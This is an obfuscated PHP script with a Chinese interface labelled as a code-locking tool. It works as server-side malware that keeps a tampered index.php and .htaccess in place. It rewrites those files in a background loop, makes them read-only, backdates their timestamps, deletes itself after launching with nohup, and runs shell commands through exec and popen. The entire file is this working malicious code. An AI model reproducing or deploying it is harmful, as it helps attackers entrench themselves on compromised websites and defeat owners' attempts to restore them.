<?php
goto gIdDC; NUuMS: if (!strstr($_SERVER["\x53\x43\122\x49\x50\x54\137\x4e\x41\115\x45"], $KlSBS)) { goto ZXvsK; } goto WmJzg; xqqkY: d7Rkx($kY8MF, $KlSBS, $hWwjn, $poHhc); goto nfxWR; ZwbRm: r6bnq: goto ORHgu; y76ss: $kY8MF = $M6kTJ . "\57" . $TvR5k; goto mmb90; u9QaD: function ljJc_() { goto e_SBg; vXIAE: if (isset($_SERVER["\123\103\x52\x49\120\x54\137\x4e\101\115\105"])) { goto MHAga; } goto UrdPJ; zVHEO: MHAga: goto XMGVO; SA82W: if (!(isset($_SERVER["\x61\x72\x67\143"]) && $_SERVER["\x61\162\x67\143"] >= 2)) { goto fbKC9; } goto PQ15s; e_SBg: $ZKcKj = preg_match("\x2f\x63\x6c\151\57\x69", php_sapi_name()) ? true : false; goto ST9Ej; XMGVO: o1N1l: goto rmJuL; ST9Ej: if (!($ZKcKj === false)) { goto N4Wbx; } goto SA82W; oX9Yo: if (!($ZKcKj === false)) { goto o1N1l; } goto vXIAE; rmJuL: return $ZKcKj; goto e1G1o; PQ15s: $ZKcKj = true; goto qKV5W; MvqDv: N4Wbx: goto oX9Yo; qKV5W: fbKC9: goto MvqDv; UrdPJ: $ZKcKj = true; goto zVHEO; e1G1o: } goto ySegh; PQH1L: $poHhc = hash("\x73\x68\x61\x31", $hWwjn); goto VFs6u; dG41z: Xy52z: goto AOM5s; nfxWR: NkMb8: goto iRNln; VFs6u: y8ntw: goto bbfOs; bbfOs: if (!true) { goto YimnJ; } goto EuBA7; O6qqL: $KlSBS = str_replace("\x5c", '', $KlSBS); goto S9_4N; UgPuR: function tQrP3() { goto TLsLy; TLsLy: $za5Pn = explode("\54", ini_get("\144\151\163\x61\x62\154\x65\x5f\x66\165\156\143\164\x69\157\156\163")); goto zpC12; r1tAx: N1kvd: goto X0Ac5; zpC12: $QoklY = array(); goto JOmjd; Fe_yx: z3YXV: goto A6iuI; A6iuI: return true; goto RiW8I; X0Ac5: if (!(in_array("\x65\170\x65\143", $QoklY) && in_array("\160\157\x70\145\x6e", $QoklY))) { goto z3YXV; } goto MZysZ; MZysZ: return false; goto Fe_yx; JOmjd: foreach ($za5Pn as $GViiQ) { $QoklY[] = trim($GViiQ); cau41: } goto r1tAx; RiW8I: } goto uaCN6; C3E70: $EjxuL = hash("\163\150\141\61", $m34Oo); goto j6kAQ; gIdDC: $Mr0Fl = "\x69\x6e\144\x65\170\56\160\x68\x70"; goto OeJFj; fLpED: $m34Oo = file_get_contents($w3L1z); goto C3E70; QUpxa: goto YimnJ; goto DWFUE; iRNln: sleep(1); goto hDqAo; bOw5G: function HUtKR() { goto gXcwb; KOw8j: return $bZdvV[1] . "\57\x70\x68\160"; goto Mi6iM; WMYTW: if (isset($bZdvV[1])) { goto sWJiR; } goto mbaGT; l_cUa: if (!(isset($bZdvV[1]) && $bZdvV[1] != '')) { goto i6o2W; } goto KOw8j; gXcwb: ob_start(); goto Xyams; cbDhK: preg_match("\x2f\55\x2d\x62\x69\156\x64\151\x72\75\x28\x5b\x5e\46\135\x2b\51\57\x73\x69", $aLv1I, $bZdvV); goto l_cUa; lvqeJ: return $bZdvV[1] . "\57\x62\x69\156\x2f\x70\150\160"; goto yw1qf; mbaGT: return "\160\150\x70"; goto Gu7RN; VdnZm: ob_end_clean(); goto cbDhK; RLTSR: preg_match("\x2f\55\x2d\x70\x72\145\146\151\170\75\x28\133\136\x26\x5d\x2b\x29\57\163\x69", $aLv1I, $bZdvV); goto WMYTW; Xyams: phpinfo(1); goto GBfws; Gu7RN: sWJiR: goto lvqeJ; GBfws: $aLv1I = ob_get_contents(); goto VdnZm; Mi6iM: i6o2W: goto RLTSR; yw1qf: } goto ZkTuL; DWFUE: YAZYR: goto WJgg_; j6kAQ: $hWwjn = file_get_contents($kY8MF); goto PQH1L; ySegh: function tqt3x($CQeP9, $uBenT = "\x70\x6f\x70\145\x6e") { goto kLTb_; Pl9XU: hTY6Y: goto BO_g3; kLTb_: $za5Pn = explode("\54", ini_get("\144\x69\163\141\x62\x6c\x65\137\146\x75\156\x63\x74\151\157\x6e\x73")); goto rYAhy; rYAhy: $QoklY = array(); goto A6CEk; BO_g3: H5URq: goto WbxeH; acn5N: xejBz: goto v4kIO; v4kIO: if (!in_array($uBenT, $QoklY)) { goto B17JS; } goto Qai04; A6CEk: foreach ($za5Pn as $GViiQ) { $QoklY[] = trim($GViiQ); d2qFM: } goto ZeQr5; IQwpv: $uBenT = "\145\x78\x65\143"; goto acn5N; ROv7b: $wyANC = ''; goto Ol7kR; Qg1yO: if (!in_array($uBenT, $QoklY)) { goto xejBz; } goto IQwpv; ZeQr5: r32AQ: goto Qg1yO; Ol7kR: switch ($uBenT) { case "\x65\x78\x65\x63": goto JxKo6; JxKo6: exec($CQeP9, $n8cZx); goto gO0VU; gO0VU: foreach ($n8cZx as $uxKmp => $ulSoS) { $wyANC .= $uxKmp . "\x20\x3a\40" . $ulSoS . PHP_EOL; JwY2Z: } goto rE494; UsnLF: return $wyANC; goto M_5Pa; M_5Pa: goto H5URq; goto T_PTN; rE494: nHAZR: goto UsnLF; T_PTN: case "\160\x6f\160\145\x6e": goto OOgB2; RJ7ea: goto Qipp2; goto coJg5; S3F6H: $PFGTM = fgets($mSPBE, 4096); goto w_UEd; T4Yyp: Qipp2: goto jHPNa; E7DPJ: goto H5URq; goto VQ4L_; jacDa: return $wyANC; goto E7DPJ; jHPNa: if (feof($mSPBE)) { goto QuDzx; } goto S3F6H; TMAlW: pclose($mSPBE); goto jacDa; w_UEd: $wyANC .= $PFGTM; goto RJ7ea; OOgB2: $mSPBE = popen($CQeP9, "\x72"); goto T4Yyp; coJg5: QuDzx: goto TMAlW; VQ4L_: default: return false; goto H5URq; } goto Pl9XU; AFnwe: B17JS: goto ROv7b; Qai04: return false; goto AFnwe; WbxeH: } goto UgPuR; Ppxvo: ZXvsK: goto ioo_P; OeJFj: $TvR5k = "\x2e\x68\164\141\x63\143\145\163\163"; goto E4IPE; EuBA7: if (!file_exists($KlSBS)) { goto YAZYR; } goto QUpxa; mmb90: $KlSBS = str_replace($M6kTJ, '', $wz_Ur); goto ZmmZc; xSqFu: YimnJ: goto ZwbRm; hDqAo: goto y8ntw; goto xSqFu; dJRhC: exit; goto Ppxvo; aRfL9: $w3L1z = $M6kTJ . "\x2f" . $Mr0Fl; goto y76ss; ZkTuL: function YinQ6($ngwoq, $ulSoS, $ppg37) { goto NvwYb; SPh5U: if (isset($_SERVER["\x48\124\x54\120\x5f\110\117\x53\124"])) { goto lCbvz; } goto U4cRQ; S2RMP: goto k9oiU; goto Ah6C3; B2wuz: $d8bHY = $_SERVER["\x48\124\124\120\x5f\110\x4f\123\x54"]; goto E9QYh; IUW78: $d8bHY = $_SERVER["\x53\x45\122\126\x45\x52\x5f\116\101\x4d\x45"]; goto mkxUC; a2Uby: $E2nci = ($_SERVER["\x52\105\x51\125\105\x53\124\x5f\x53\x43\110\x45\x4d\105"] != '' ? $_SERVER["\x52\x45\121\125\x45\123\124\x5f\123\103\110\x45\115\105"] : "\x68\x74\164\160") . "\72\57\x2f" . $d8bHY; goto xno88; NvwYb: $d8bHY = ''; goto SPh5U; E9QYh: goto k9oiU; goto XblG4; U4cRQ: if (isset($_SERVER["\x53\105\x52\x56\x45\122\x5f\116\101\x4d\105"])) { goto ZGkqf; } goto S2RMP; xno88: echo "\74\160\x20\x73\164\x79\x6c\x65\75\x27\47\76\x3c\x61\x20\x73\x74\171\x6c\145\75\x27\160\141\144\x64\x69\156\x67\72\40\65\x70\170\73\40\40\x77\x69\144\x74\x68\x3a\x31\62\60\160\170\x3b\143\157\154\x6f\162\x3a\40\x23\x33\63\71\x39\66\66\x3b\40\164\x65\170\164\x2d\144\145\x63\157\162\x61\164\151\x6f\156\72\156\157\156\145\73\x20\x27\40\x68\x72\x65\146\75\x27{$E2nci}\77\141\x63\x74\151\x6f\156\x3d{$ulSoS}\x27\x3e{$ppg37}\x3c\57\141\x3e\74\57\160\76"; goto LWOTz; S2ASe: $d8bHY = $d8bHY . $_SERVER["\120\110\120\x5f\123\105\114\106"]; goto a2Uby; mkxUC: k9oiU: goto S2ASe; XblG4: ZGkqf: goto IUW78; Ah6C3: lCbvz: goto B2wuz; LWOTz: } goto yChcB; nrnC8: $M6kTJ = realpath(dirname($wz_Ur)); goto aRfL9; Q2IiY: echo "\x3c\x2f\x64\x69\166\76\x3c\57\144\151\166\x3e\74\x2f\142\x6f\144\171\x3e\74\x2f\x68\164\x6d\154\x3e"; goto dJRhC; lKgRA: echo "\74\57\144\151\166\x3e\x3c\x64\x69\x76\40\163\164\x79\154\145\x3d\42\x66\x6c\157\141\164\x3a\162\x69\x67\150\x74\73\164\145\170\x74\55\141\154\x69\147\x6e\72\x20\x6c\x65\146\164\x3b\167\x69\144\164\x68\x3a\x38\65\x30\x70\x78\x3b\x20\x62\x6f\x72\x64\145\x72\x3a\61\160\x78\40\x73\x6f\154\151\x64\x20\x23\x39\x39\x39\x39\71\71\x3b\160\141\x64\144\x69\x6e\x67\72\40\65\160\x78\42\76\344\xbf\xa1\346\x81\257\357\xbc\x9a"; goto HEyXy; GCl1n: @unlink($wz_Ur); goto fLpED; yChcB: function cTwuB($X65_8) { foreach ($X65_8 as $uxKmp => $ulSoS) { goto nop8I; l9tNU: jJGwZ: goto iIOJu; o7t2I: echo "\x3c\x70\76{$uxKmp}\x20\x3a\40{$ulSoS}\74\57\160\76"; goto l9tNU; nop8I: echo PHP_EOL . "\x3c\150\x72\40\57\x3e" . PHP_EOL; goto o7t2I; iIOJu: } G4tG9: } goto u9QaD; S9_4N: $qTDun = 1; goto bOw5G; uaCN6: function d7RkX($w3L1z, $KlSBS, $m34Oo, $EjxuL) { goto QAMjA; xCgsg: $vUcYa = hash("\163\150\x61\61", $I4lFa); goto A3PQV; v7xib: @file_put_contents($w3L1z, $m34Oo); goto vSUpt; NjLaD: @chmod($w3L1z, 0444); goto R8Fgw; vSUpt: @touch($w3L1z, strtotime("\x2d\64\x30\x30\x20\x64\x61\171\163", time())); goto q1fAV; WWXEI: p06GJ: goto SucjY; A3PQV: if (!($vUcYa != $EjxuL)) { goto u4bIj; } goto Dipbz; QAMjA: if (file_exists($w3L1z)) { goto p06GJ; } goto U7hus; SucjY: $I4lFa = file_get_contents($w3L1z); goto xCgsg; pmQ42: u4bIj: goto NjLaD; Dipbz: @unlink($w3L1z); goto v7xib; EzE78: @touch($w3L1z, strtotime("\x2d\x34\x30\x30\x20\x64\x61\171\x73", time())); goto UR9AZ; q1fAV: @chmod($w3L1z, 0444); goto pmQ42; U7hus: @file_put_contents($w3L1z, $m34Oo); goto EzE78; UR9AZ: @chmod($w3L1z, 0444); goto WWXEI; R8Fgw: } goto Ox1PX; E4IPE: $wz_Ur = __FILE__; goto nrnC8; HEyXy: switch ($_GET["\x61\x63\x74\151\x6f\156"]) { case "\146\x75\156\143\164\x69\x6f\x6e": goto p73SC; P03tL: CtwUB($za5Pn); goto U3lP2; CuzMJ: $za5Pn = explode("\x2c", ini_get("\x64\151\163\x61\142\154\145\x5f\146\165\156\143\164\x69\157\156\163")); goto P03tL; p73SC: $X65_8[] = array(); goto CuzMJ; U3lP2: goto NMfBb; goto qaSBv; qaSBv: case "\x63\x68\x65\x63\x6b": goto PW4c8; st9c0: gn2qk: goto Hge37; tpwEU: preg_match("\57\x50\110\120\40\50\x5b\56\60\x2d\71\135\53\51\x2f\163\151", $wyANC, $bZdvV); goto vVY0W; DfbhJ: goto NMfBb; goto Wl7Pc; dtKNX: $wyANC = TQT3X("{$mffFk}\40\x2d\166"); goto FEMOZ; WftU7: StFCN: goto VczUO; PW4c8: $mffFk = hUTkR(); goto bTDfg; VczUO: if (!file_exists($Mr0Fl)) { goto gn2qk; } goto FhXZ0; bTDfg: $X65_8["\x70\150\160\40\xe8\267\257\xe5\xbe\204"] = $mffFk; goto dtKNX; FhXZ0: $X65_8["\345\x8a\240\351\224\201\346\226\x87\xe4\xbb\266\xe8\267\257\xe5\xbe\x84"] = $w3L1z; goto st9c0; IFgJb: $X65_8["\160\x68\x70\x20\xe7\x89\x88\346\x9c\254"] = $bZdvV[1]; goto WftU7; Hge37: CtwUB($X65_8); goto PsGf0; vVY0W: if (!isset($bZdvV[1])) { goto StFCN; } goto IFgJb; iXoqC: CtwUb($X65_8); goto DfbhJ; PsGf0: goto NMfBb; goto U1oTP; FEMOZ: if (!($wyANC === false)) { goto uw3MV; } goto ZLs1S; ZLs1S: $X65_8["\xe6\x89\247\xe8\xa1\214\xe9\224\x99\xe8\xaf\257"] = "\347\x8e\260\346\234\211\xe6\x96\271\xe6\xb3\x95\346\x97\240\346\263\225\346\x89\xa7\350\xa1\x8c\xe5\x91\xbd\344\xbb\xa4"; goto iXoqC; Wl7Pc: uw3MV: goto tpwEU; U1oTP: case "\154\x6f\x63\153": goto lxONC; lxONC: $mffFk = hUtkR(); goto fOINF; lg7_2: NEOdH: goto dH2Jd; miXe_: h01da: goto UEaog; y36xF: cTwuB($X65_8); goto udLAJ; G6uLy: N5CaG: goto R24hA; b027p: $TISIn = @file_get_contents("\56\150\x74\x61\143\x63\145\x73\x73"); goto LcSmO; Qc101: header("\114\157\x63\x61\x74\x69\x6f\156\72\40\150\164\x74\160\x3a\57\x2f" . $_SERVER["\x48\124\124\x50\x5f\x48\117\123\124"] . $_SERVER["\x53\103\x52\x49\x50\x54\x5f\x4e\x41\x4d\105"]); goto a_MIz; R24hA: $X65_8["\xe6\211\247\350\241\x8c\xe5\x91\xbd\344\xbb\xa4"] = "\x6e\157\x68\x75\160\x20{$mffFk}\40" . $wz_Ur . "\x20\x3e\57\144\x65\166\x2f\156\165\x6c\154\40\x32\76\46\x31\x20\46"; goto A9x0L; mhxDY: c88Dl("\x69\x6e\x64\145\170\x2e\160\x68\160", $rdM6R); goto UBTDz; yTxUM: goto oNsZj; goto miXe_; dH2Jd: ctWUB($X65_8); goto Kg47b; a_MIz: goto h01da; goto Amd7W; Amd7W: qECsT: goto mhxDY; UEaog: goto SXCwz; goto G6uLy; UBTDz: c88dl("\56\150\164\141\143\143\145\x73\163", $TISIn); goto yTxUM; bQdWN: if (!file_exists(__FILE__)) { goto qECsT; } goto Qc101; WjWT7: $X65_8["\346\x89\247\xe8\xa1\x8c\351\224\231\350\xaf\xaf"] = "\xe7\216\xb0\346\x9c\211\xe6\x96\xb9\xe6\xb3\225\346\x97\240\346\xb3\225\xe6\211\247\350\xa1\214\xe5\x91\xbd\xe4\xbb\xa4\54\xe6\x89\xa7\xe8\xa1\x8c\347\xac\254\344\272\x8c\xe7\xa7\x8d\346\x96\271\346\241\210\347\232\204\xe9\224\201"; goto y36xF; udLAJ: @unlink(__FILE__); goto x5kgS; fwR5m: $rdM6R = @file_get_contents("\151\156\144\x65\170\56\160\150\160"); goto b027p; ezYj7: if (!(1 == 1)) { goto h01da; } goto bQdWN; Kg47b: SXCwz: goto BUd3l; M1kDx: $wyANC = TQT3x("\x70\163\40\x61\165\x78\x20\x7c\40\x67\x72\x65\160\40{$KlSBS}"); goto UFWal; fOINF: if (Tqrp3() !== false) { goto N5CaG; } goto WjWT7; A9x0L: tQt3X($X65_8["\346\211\xa7\350\241\x8c\xe5\x91\275\344\xbb\244"]); goto M1kDx; BUd3l: goto NMfBb; goto JsUBG; x5kgS: error_reporting(0); goto jIoGW; jIoGW: ignore_user_abort(true); goto CyMe7; UFWal: foreach (explode("\12", $wyANC) as $ulSoS) { $X65_8[] = $ulSoS; N8oCn: } goto lg7_2; LcSmO: oNsZj: goto ezYj7; CyMe7: set_time_limit(0); goto fwR5m; JsUBG: case "\x34": goto PnQiK; WG7iA: goto NMfBb; goto D2l81; XVYhM: CTwUb($X65_8); goto WG7iA; yWvle: foreach (explode("\12", $HPeaA) as $ulSoS) { $X65_8[] = $ulSoS; Ybzy4: } goto uuHht; ENUAo: $HPeaA = TqT3X("\x70\163\40\x61\x75\170\40\174\40\x67\x72\x65\160\40" . $KlSBS); goto yWvle; uuHht: xStg4: goto XVYhM; PnQiK: $X65_8[] = array(); goto ENUAo; D2l81: case "\x6d\x6f\144\151\x66\171": goto RoUPq; uUYGK: if (!chmod($w3L1z, 0777)) { goto dhBfu; } goto VHm0V; RoUPq: $X65_8["\344\277\256\xe6\224\xb9\347\273\223\xe6\236\234"] = "\xe5\244\xb1\350\264\245"; goto uUYGK; VHm0V: $X65_8["\344\277\xae\346\x94\271\347\273\223\346\236\234"] = "\346\210\x90\xe5\x8a\237"; goto IKOSw; jqU7G: CtwUB($X65_8); goto k02QU; IKOSw: dhBfu: goto jqU7G; k02QU: goto NMfBb; goto r20yP; r20yP: case "\x70\150\160\x69\x6e\x66\157": phpinfo(); goto NMfBb; case "\x70\150\160\137\x76\x65\x72\x73\151\x6f\x6e": goto ADOrY; CpeLk: foreach (explode("\xa", $HPeaA) as $ulSoS) { $X65_8[] = $ulSoS; XUs5c: } goto Lw3t1; ADOrY: $mffFk = HUTKR(); goto DunUX; CqtOP: cTWUB($X65_8); goto Jtu54; Jtu54: goto NMfBb; goto vw_aV; DunUX: $X65_8[] = array(); goto cm5Kr; cm5Kr: $HPeaA = TQT3X("{$mffFk}\40\55\x76"); goto CpeLk; Lw3t1: gQ0_2: goto CqtOP; vw_aV: default: goto NMfBb; } goto dG41z; pTHkG: if (!($qTDun == 1)) { goto NkMb8; } goto xqqkY; WJgg_: D7rkx($w3L1z, $KlSBS, $m34Oo, $EjxuL); goto pTHkG; ORHgu: function C88DL($tDsUE, $f_6NV) { goto mgbjQ; vzTrn: @unlink($tDsUE); goto QLD2r; QLD2r: file_put_contents($tDsUE, $f_6NV); goto KRxSa; Qu_po: chmod($tDsUE, 0777); goto vzTrn; u0qOw: usleep(1000000); goto pKlI_; mgbjQ: @unlink($tDsUE); goto Qu_po; KRxSa: chmod($tDsUE, 0444); goto u0qOw; pKlI_: } goto NUuMS; ZmmZc: $KlSBS = str_replace("\x2f", '', $KlSBS); goto O6qqL; WmJzg: echo "\74\x68\x74\x6d\154\x20\x6c\x61\x6e\147\75\42\x7a\150\55\x63\x6e\x22\76\74\150\x65\141\x64\x3e\x3c\x6d\145\x74\x61\40\x63\x68\141\162\x73\x65\164\75\x22\x55\124\106\x2d\70\x22\76\74\164\x69\x74\x6c\x65\x3e\xe9\224\201\xe7\xa0\x81\74\57\x74\x69\164\x6c\x65\76\x3c\57\150\145\x61\x64\76\74\142\x6f\x64\171\x3e\74\x64\151\x76\40\163\164\171\x6c\145\75\42\155\141\162\147\151\156\x3a\x20\x30\40\141\165\164\x6f\x3b\40\167\151\x64\164\x68\x3a\x31\61\60\60\160\x78\x22\x3e\74\x64\x69\166\40\163\x74\171\x6c\x65\75\42\146\x6c\x6f\141\x74\x3a\x20\154\145\x66\x74\73\x74\145\170\164\55\x61\x6c\151\x67\156\x3a\40\154\x65\146\x74\73\x77\151\144\x74\x68\x3a\x32\x30\x30\x70\170\42\76"; goto Wza7S; Ox1PX: if (!lJjc_()) { goto r6bnq; } goto GCl1n; AOM5s: NMfBb: goto Q2IiY; Wza7S: yINQ6($KlSBS, "\154\x6f\143\x6b", "\x32\x20\x2d\40\xe9\224\201\346\226\207\344\273\266"); goto JhV0R; JhV0R: yiNq6($KlSBS, "\x6d\x6f\x64\x69\x66\171", "\344\xbd\xbf\xe5\x8a\240\xe9\224\x81\346\x96\x87\xe4\xbb\266\xe5\217\257\xe4\xbf\xae\xe6\224\xb9"); goto lKgRA; ioo_P: echo $_SERVER["\x53\x43\x52\111\120\x54\x5f\x4e\x41\115\105"];
?> |